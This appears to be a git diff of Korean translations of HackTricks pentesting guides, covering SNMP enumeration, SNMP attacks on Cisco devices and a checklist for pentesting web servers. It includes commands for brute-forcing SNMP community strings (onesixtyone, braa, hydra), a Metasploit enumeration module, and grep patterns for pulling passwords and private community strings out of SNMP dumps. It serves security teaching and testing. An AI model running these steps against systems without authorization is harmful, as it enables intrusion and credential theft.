이전에 언급했듯이, **MIB에 저장된 정보에 액세스하려면 버전 1 및 2/2c에서 커뮤니티 문자열을 알아야 하며, 버전 3에서 자격 증명을 알아야 합니다.**\ 앞서 언급했듯이, **MIB에 저장된 정보에 액세스하려면 버전 1 및 2/2c에서 커뮤니티 문자열을 알아야 하며, 버전 3에서는 자격 증명이 필요합니다.**\
**커뮤니티 문자열에는 2가지 유형**이 있습니다: **커뮤니티 문자열에는 2가지 유형**이 있습니다:
* **`public`** 주로 **읽기 전용** 기능 * **`public`** 주로 **읽기 전용** 기능
* **`private`** 일반적으로 **읽기/쓰기** * **`private`** 일반적으로 **읽기/쓰기** 기능
OID의 **쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로**, "**public**"이 사용된다 해도 **일부 값을 쓸 수 있을 수 있습니다.** 또한 **항상 "읽기 전용"**인 객체가 존재할 수 있습니다.\ OID의 쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르므로, **"public"**이 사용된다 해도 **일부 값을 쓸 수 있을 수 있습니다.** 또한 **항상 "읽기 전용"**인 객체가 존재할 수 있습니다.\
객체를 **쓰려고** 하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다\*\*.\*\* 객체를 **쓰려고** 하면 **`noSuchName` 또는 `readOnly` 오류**가 발생합니다.
버전 1 및 2/2c에서 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 오면 **유효한 커뮤니티 문자열이 사용된 것**입니다. 버전 1 및 2/2c에서 **잘못된** 커뮤니티 문자열을 사용하면 서버가 **응답하지 않습니다**. 따라서 응답이 오면 **유효한 커뮤니티 문자열이 사용된 것**입니다.
@ -110,7 +110,7 @@ OID의 **쓰기 가능성은 사용된 커뮤니티 문자열에 따라 다르
## SNMP 열거 ## SNMP 열거
장치에서 수집된 **각 OID가 의미하는 것을 확인**하려면 다음을 설치하는 것이 좋습니다: 장치에서 수집된 **각 OID가 무엇을 의미하는지 확인**하려면 다음을 설치하는 것이 좋습니다:
```bash ```bash
apt-get install snmp-mibs-downloader apt-get install snmp-mibs-downloader
download-mibs download-mibs
@ -137,7 +137,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash ```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
``` ```
**SNMP**에는 호스트에 대한 많은 정보가 포함되어 있으며 흥미로운 정보로는 **네트워크 인터페이스**(IPv4 및 **IPv6** 주소), 사용자 이름, 가동 시간, 서버/OS 버전 및 **프로세스**가 있습니다(암호를 포함할 수 있음). **SNMP**에는 호스트에 대한 많은 정보가 포함되어 있으며, 흥미로운 정보로는 **네트워크 인터페이스**(IPv4 및 **IPv6** 주소), 사용자 이름, 가동 시간, 서버/OS 버전 및 **프로세스**가 있습니다(암호를 포함할 수 있음).
### **위험한 설정** ### **위험한 설정**
@ -145,18 +145,18 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### 액세스 설정 ### 액세스 설정
네트워크 관리에서 중요한 OID 트리 전체에 액세스할 수 있도록 두 가지 주요 설정이 있습니다: 네트워크 관리에서 중요한 설정 중 두 가지는 네트워크 관리의 중요한 구성 요소인 **전체 OID 트리에 액세스**를 허용합니다:
1. **`rwuser noauth`**는 인증이 필요 없이 OID 트리에 대한 완전한 액세스를 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없이 액세스할 수 있습니다. 1. **`rwuser noauth`**는 인증이 필요하지 않고 OID 트리에 대한 완전한 액세스를 허용하도록 설정됩니다. 이 설정은 간단하며 제한 없이 액세스할 수 있습니다.
2. 더 구체적인 제어를 위해 다음을 사용하여 액세스를 허용할 수 있습니다: 2. 더 구체적인 제어를 위해 다음을 사용하여 액세스를 허용할 수 있습니다:
* **`rwcommunity`**는 **IPv4** 주소에 대해, * **`rwcommunity`**는 **IPv4** 주소에 대해,
* **`rwcommunity6`**는 **IPv6** 주소에 대해 사용됩니다. * **`rwcommunity6`**는 **IPv6** 주소에 대해 액세스를 허용합니다.
두 명령은 커뮤니티 문자열과 관련 IP 주소를 필요로 하며, 요청의 출처에 관계없이 완전한 액세스를 제공합니다. 두 명령은 **커뮤니티 문자열**과 관련 IP 주소를 필요로 하며, 요청의 출처에 관계없이 완전한 액세스를 제공합니다.
### Microsoft Windows용 SNMP 매개변수 ### Microsoft Windows용 SNMP 매개변수
Windows 시스템의 다양한 측면을 SNMP를 통해 모니터링하기 위해 일련의 **관리 정보 베이스(MIB) 값**이 사용됩니다: Windows 시스템의 다양한 측면을 SNMP를 통해 모니터링하는 데 사용되는 일련의 **관리 정보베이스(MIB) 값**이 있습니다:
* **시스템 프로세스**: `1.3.6.1.2.1.25.1.6.0`을 통해 액세스되며, 이 매개변수를 사용하여 시스템 내에서 활성 프로세스를 모니터링할 수 있습니다. * **시스템 프로세스**: `1.3.6.1.2.1.25.1.6.0`을 통해 액세스되며, 이 매개변수를 사용하여 시스템 내에서 활성 프로세스를 모니터링할 수 있습니다.
* **실행 중인 프로그램**: `1.3.6.1.2.1.25.4.2.1.2` 값은 현재 실행 중인 프로그램을 추적하기 위해 지정됩니다. * **실행 중인 프로그램**: `1.3.6.1.2.1.25.4.2.1.2` 값은 현재 실행 중인 프로그램을 추적하기 위해 지정됩니다.
@ -164,7 +164,7 @@ Windows 시스템의 다양한 측면을 SNMP를 통해 모니터링하기 위
* **저장 장치**: 저장 장치의 모니터링은 `1.3.6.1.2.1.25.2.3.1.4`를 통해 용이하게 됩니다. * **저장 장치**: 저장 장치의 모니터링은 `1.3.6.1.2.1.25.2.3.1.4`를 통해 용이하게 됩니다.
* **소프트웨어 이름**: 시스템에 설치된 소프트웨어를 식별하기 위해 `1.3.6.1.2.1.25.6.3.1.2`가 사용됩니다. * **소프트웨어 이름**: 시스템에 설치된 소프트웨어를 식별하기 위해 `1.3.6.1.2.1.25.6.3.1.2`가 사용됩니다.
* **사용자 계정**: `1.3.6.1.4.1.77.1.2.25` 값은 사용자 계정을 추적할 수 있습니다. * **사용자 계정**: `1.3.6.1.4.1.77.1.2.25` 값은 사용자 계정을 추적할 수 있습니다.
* **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`은 TCP 로컬 포트를 모니터링하기 위해 지정되며, 활성 네트워크 연결에 대한 통찰을 제공합니다. * **TCP 로컬 포트**: 마지막으로, `1.3.6.1.2.1.6.13.1.3`은 TCP 로컬 포트를 모니터링하기 위해 지정되어 있으며 활성 네트워크 연결에 대한 통찰을 제공합니다.
### Cisco ### Cisco
@ -176,7 +176,7 @@ Cisco 장비를 사용 중이라면 이 페이지를 확인하세요:
## SNMP에서 RCE로 ## SNMP에서 RCE로
SNMP 서비스 내에서 **값을 쓰는** 데 사용되는 **문자열**이 있다면, 이를 남용하여 **명령을 실행**할 수 있습니다: SNMP 서비스 내에서 **값을 쓰는 데 허용하는 문자열**이 있다면, 이를 남용하여 **명령을 실행**할 수 있습니다:
{% content-ref url="snmp-rce.md" %} {% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md) [snmp-rce.md](snmp-rce.md)
@ -184,7 +184,7 @@ SNMP 서비스 내에서 **값을 쓰는** 데 사용되는 **문자열**이 있
## **대규모 SNMP** ## **대규모 SNMP**
[Braa ](https://github.com/mteg/braa)는 대규모 SNMP 스캐너입니다. 이러한 도구의 의도된 사용은 물론 SNMP 쿼리를 수행하는 것이지만 net-snmp의 snmpwalk와 달리 수십 개 또는 수백 개의 호스트를 동시에 쿼리하고 단일 프로세스에서 수행할 수 있습니다. 따라서 시스템 리소스를 매우 적게 소비하며 매우 빠르게 스캔을 수행합니다. [Braa ](https://github.com/mteg/braa)는 대규모 SNMP 스캐너입니다. 이 도구의 의도된 사용 방법은 물론 SNMP 쿼리를 수행하는 것이지만 net-snmp의 snmpwalk와 달리 수십 개 또는 수백 개의 호스트를 동시에 쿼리하고 단일 프로세스에서 수행할 수 있습니다. 따라서 시스템 리소스를 매우 적게 소비하며 매우 빠르게 스캔을 수행합니다.
Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다. Braa는 자체 SNMP 스택을 구현하므로 net-snmp와 같은 SNMP 라이브러리가 필요하지 않습니다.
@ -194,25 +194,25 @@ braa ignite123@192.168.1.125:.1.3.6.*
``` ```
### **장치** ### **장치**
프로세스는 각 파일에서 **sysDesc MIB 데이터** (1.3.6.1.2.1.1.1.0)를 추출하여 장치를 식별하는 것으로 시작됩니다. 이는 **grep 명령어**를 사용하여 수행됩니다: 과정은 각 파일에서 **sysDesc MIB 데이터** (1.3.6.1.2.1.1.1.0)를 추출하여 장치를 식별하는 것으로 시작됩니다. 이는 **grep 명령어**를 사용하여 수행됩니다:
```bash ```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp grep ".1.3.6.1.2.1.1.1.0" *.snmp
``` ```
### **개인 문자열 식별** ### **개인 문자열 식별**
중요한 단계는 기관에서 특히 Cisco IOS 라우터에서 사용하는 **개인 커뮤니티 문자열**을 식별하는 것입니다. 이 문자열은 라우터에서 **실행 중인 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령어**를 사용하여 SNMP 트랩 데이터를 분석하여 "trap"이라는 단어를 찾는 것에 의존합니다: 기업에서 특히 Cisco IOS 라우터에서 사용하는 **개인 커뮤니티 문자열**을 식별하는 것이 중요한 단계입니다. 이 문자열은 라우터에서 **실행 중인 구성**을 추출하는 데 사용됩니다. 식별은 종종 **grep 명령어**를 사용하여 SNMP 트랩 데이터를 분석하여 "trap"이라는 단어를 찾는 것에 의존합니다:
```bash ```bash
grep -i "trap" *.snmp grep -i "trap" *.snmp
``` ```
### **사용자 이름/암호** ### **사용자 이름/암호**
MIB 테이블에 저장된 로그는 **로그인 실패 시도**를 조사하여, 실수로 사용자 이름으로 입력된 암호를 포함할 수 있습니다. _fail_, _failed_, 또는 _login_과 같은 키워드를 검색하여 가치 있는 데이터를 찾습니다: MIB 테이블에 저장된 로그는 **로그인 실패 시도**를 조사하며, 이는 실수로 사용자 이름으로 입력된 암호를 포함할 수 있습니다. _fail_, _failed_, 또는 _login_과 같은 키워드를 검색하여 가치 있는 데이터를 찾습니다:
```bash ```bash
grep -i "login\|fail" *.snmp grep -i "login\|fail" *.snmp
``` ```
### **이메일** ### **이메일**
마지막으로 데이터에서 **이메일 주소**를 추출하기 위해 정규 표현식을 사용한 **grep 명령어**를 사용하며, 이메일 형식과 일치하는 패턴에 초점을 맞춥니다: 마지막으로, 데이터에서 **이메일 주소**를 추출하기 위해 정규 표현식을 사용한 **grep 명령어**가 사용되며, 이메일 형식과 일치하는 패턴에 초점을 맞춥니다:
```bash ```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
``` ```
@ -222,17 +222,17 @@ _**NetScanTools**_를 사용하여 **값을 수정**할 수 있습니다. 이를
## Spoofing ## Spoofing
SMNP 서비스를 쿼리할 수 있는 IP만 허용하는 ACL이 있는 경우, UDP 패킷 내에서 해당 주소 중 하나를 스푸핑하여 트래픽을 가로챌 수 있습니다. SMNP 서비스에 쿼리를 허용하는 ACL이 있는 경우, UDP 패킷 내에서 해당 주소 중 하나를 위조하고 트래픽을 스니핑할 수 있습니다.
## SNMP 구성 파일 검 ## SNMP 구성 파일 검
* snmp.conf * snmp.conf
* snmpd.conf * snmpd.conf
* snmp-config.xml * snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있는 경우, 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 작문 및 구사 능력 필요_). **해킹 경력**에 관심이 있 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -274,14 +274,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
``` ```
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary> <summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
다른 방법으로 HackTricks를 지원하는 방법: 다른 방법으로 HackTricks를 지원하는 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>

View file

@ -2,27 +2,27 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에서 귀사를 광고**하고 싶으신가요? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요! * **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인해보세요!
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요 * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * **💬** [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**세요. * **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**해주세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_폴란드어 유창한 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## Cisco 네트워크 펜테스팅 ## Cisco 네트워크 펜테스팅
**SNMP**는 일반 메시지에 대해 161/UDP 포트 및 트랩 메시지에 대해 162/UDP 포트를 통해 UDP로 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간 통신을 가능 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 액세스 수준, 특히 **읽기 전용 (RO) 또는 읽기-쓰기 (RW) 권한**을 결정하는 데 중요합니다. 펜테스터의 주요 공격 벡터 중 하나는 네트워크 장치에 침투하기 위해 **커뮤니티 문자열을 무차별 대입하는 것**입니다. **SNMP**는 일반 메시지에 대해 161/UDP 포트 및 트랩 메시지에 대해 162/UDP 포트를 통해 UDP로 작동합니다. 이 프로토콜은 SNMP 에이전트와 서버 간 통신을 가능하게 하는 비밀번호 역할을 하는 커뮤니티 문자열에 의존합니다. 이러한 문자열은 액세스 수준, 특히 **읽기 전용 (RO) 또는 읽기-쓰기 (RW) 권한**을 결정하는 데 중요합니다. 펜테스터의 주요 공격 벡터 중 하나는 네트워크 장치에 침투하기 위해 **커뮤니티 문자열을 무차별 대입하는 것**입니다.
이러한 무차별 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다. 이러한 무차별 대입 공격을 실행하기 위한 실용적인 도구는 [**onesixtyone**](https://github.com/trailofbits/onesixtyone)이며, 잠재적인 커뮤니티 문자열 목록과 대상의 IP 주소가 필요합니다:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
@ -39,7 +39,7 @@ onesixtyone -c communitystrings -i targets
#### `snmp_enum` #### `snmp_enum`
다른 메타스플로잇 모듈인 **`snmp_enum`**은 자세한 하드웨어 정보를 수집하는 데 특화되어 있습니다. 이는 어떤 유형의 커뮤니티 문자열과도 작동하며 성공적인 실행을 위해 대상의 IP 주소가 필요합니다: 다른 메타스플로잇 모듈인 **`snmp_enum`**은 자세한 하드웨어 정보를 수집하는 데 특화되어 있습니다. 이는 어떤 유형의 커뮤니티 문자열이든 사용하며, 성공적인 실행을 위해 대상의 IP 주소가 필요합니다:
```bash ```bash
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_유창한 폴란드어 필수_).
@ -59,10 +59,10 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)로 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드하고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요 * [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요. * [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) ** PR을 제출**하세요. * **해킹 트릭을 공유하고 싶다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) ** PR을 제출**하세요.
</details> </details>

View file

@ -6,23 +6,23 @@
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고**되길 원하거나 **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요. * **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. * **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있다면 - **우리는 채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있다면, 해킹할 수 없는 것을 해킹하고 싶다면 - **저희가 채용 중입니다!** (_포괄적인 폴란드어 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 기본 정보 ## 기본 정보
웹 서비스는 **가장 일반적이고 광범위한 서비스**이며 **다양한 종류의 취약점**이 존재합니다. 웹 서비스는 가장 **일반적이고 광범위한 서비스**이며 **다양한 종류의 취약점**이 존재합니다.
**기본 포트:** 80 (HTTP), 443(HTTPS) **기본 포트:** 80 (HTTP), 443(HTTPS)
```bash ```bash
@ -43,24 +43,24 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
## 방법론 요약 ## 방법론 요약
> 이 방법론에서는 도메인(또는 서브도메인)을 공격할 것으로 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 스코프 내부에 웹 서버가 있는 IP에 대해 이 방법론을 적용해야 합니다. > 이 방법론에서는 도메인(또는 서브도메인)을 공격할 것으로 가정합니다. 따라서 발견된 각 도메인, 서브도메인 또는 스코프 내부에 웹 서버가 있는 IP에 대해이 방법론을 적용해야합니다.
* [ ] 먼저 웹 서버에서 사용 **기술**을 **식별**합니다. 기술을 성공적으로 식별하면 나머지 테스트 중에 고려해야 할 **요령**을 찾아보세요. * [ ] 먼저 웹 서버에서 사용되는 **기술**을 **식별**합니다. 기술을 성공적으로 식별하면 나머지 테스트 중에 기억해야 할 **트릭**을 찾아보세요.
* [ ] 해당 기술 버전의 **알려진 취약점**이 있는지 확인합니다. * [ ] 해당 기술 버전의 **알려진 취약점**이 있나요?
* [ ] **잘 알려진 기술**을 사용 중인가요? 더 많은 정보를 추출할 수 있는 **유용한 요령**이 있나요? * [ ] **잘 알려진 기술**을 사용 중인가요? 더 많은 정보를 추출하기 위한 **유용한 트릭**이 있나요?
* [ ] 실행할 **전문 스캐너**(예: wpscan)가 있나요? * [ ] 실행할 **전문 스캐너**가 있나요 (예: wpscan)?
* [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지 또는 흥미로운 정보를 찾을지 알 수 없습니다. * [ ] **일반 목적 스캐너**를 실행합니다. 무언가를 발견할지 또는 흥미로운 정보를 찾을지 알 수 없습니다.
* [ ] **초기 확인**부터 시작합니다: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔**(HTTPS인 경우). * [ ] **초기 확인**부터 시작하세요: **로봇**, **사이트맵**, **404** 오류 및 **SSL/TLS 스캔** (HTTPS의 경우).
* [ ] 웹 페이지를 **스파이더링**합니다: 가능한 모든 **파일, 폴더** 및 **사용 중인 매개변수**를 찾는 시간입니다. 또한 **특별한 발견**을 확인하세요. * [ ] 웹 페이지를 **스파이더링**합니다: 가능한 모든 **파일, 폴더** 및 **사용 중인 매개변수**를 찾아보세요. 또한 **특별한 발견**을 확인하세요.
* [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 스파이더링해야 합니다._ * [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 스파이더링해야합니다._
* [ ] **디렉터리 브루트 포싱**: 발견된 모든 폴더를 대상으로 브루트 포스를 시도하여 새 **파일** 및 **디렉터리**를 찾습니다. * [ ] **디렉토리 브루트 포싱**: 발견된 모든 폴더를 브루트 포싱하여 새 **파일** 및 **디렉토리**를 찾으세요.
* [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 브루트 포스해야 합니다._ * [ ] _브루트 포싱이나 스파이더링 중에 새 디렉토리가 발견될 때마다 해당 디렉토리를 브루트 포싱해야합니다._
* [ ] **백업 확인**: 발견된 파일의 **백업**을 찾을 수 있는지 테스트하고 일반적인 백업 확장자를 추가합니다. * [ ] **백업 확인**: 일반적인 백업 확장자를 추가하여 **발견된 파일의 백업**을 찾을 수 있는지 테스트하세요.
* [ ] **매개변수 브루트 포싱**: **숨겨진 매개변수**를 찾아보세요. * [ ] **매개변수 브루트 포싱**: **숨겨진 매개변수**를 찾아보세요.
* [ ] 모든 **사용자 입력**을 수용하는 모든 **엔드포인트**를 **식별**한 후 해당하는 **모든 종류의 취약점**을 확인하세요. * [ ] 모든 **사용자 입력**을 수용하는 모든 **엔드포인트**를 **식별**한 후 해당 **취약점**을 확인하세요.
* [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md) * [ ] [이 체크리스트를 따르세요](../../pentesting-web/web-vulnerabilities-methodology.md)
## 서버 버전 (취약점이 있는지?) ## 서버 버전 (취약점이 있나요?)
### 식별 ### 식별
@ -72,7 +72,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL> webtech -u <URL>
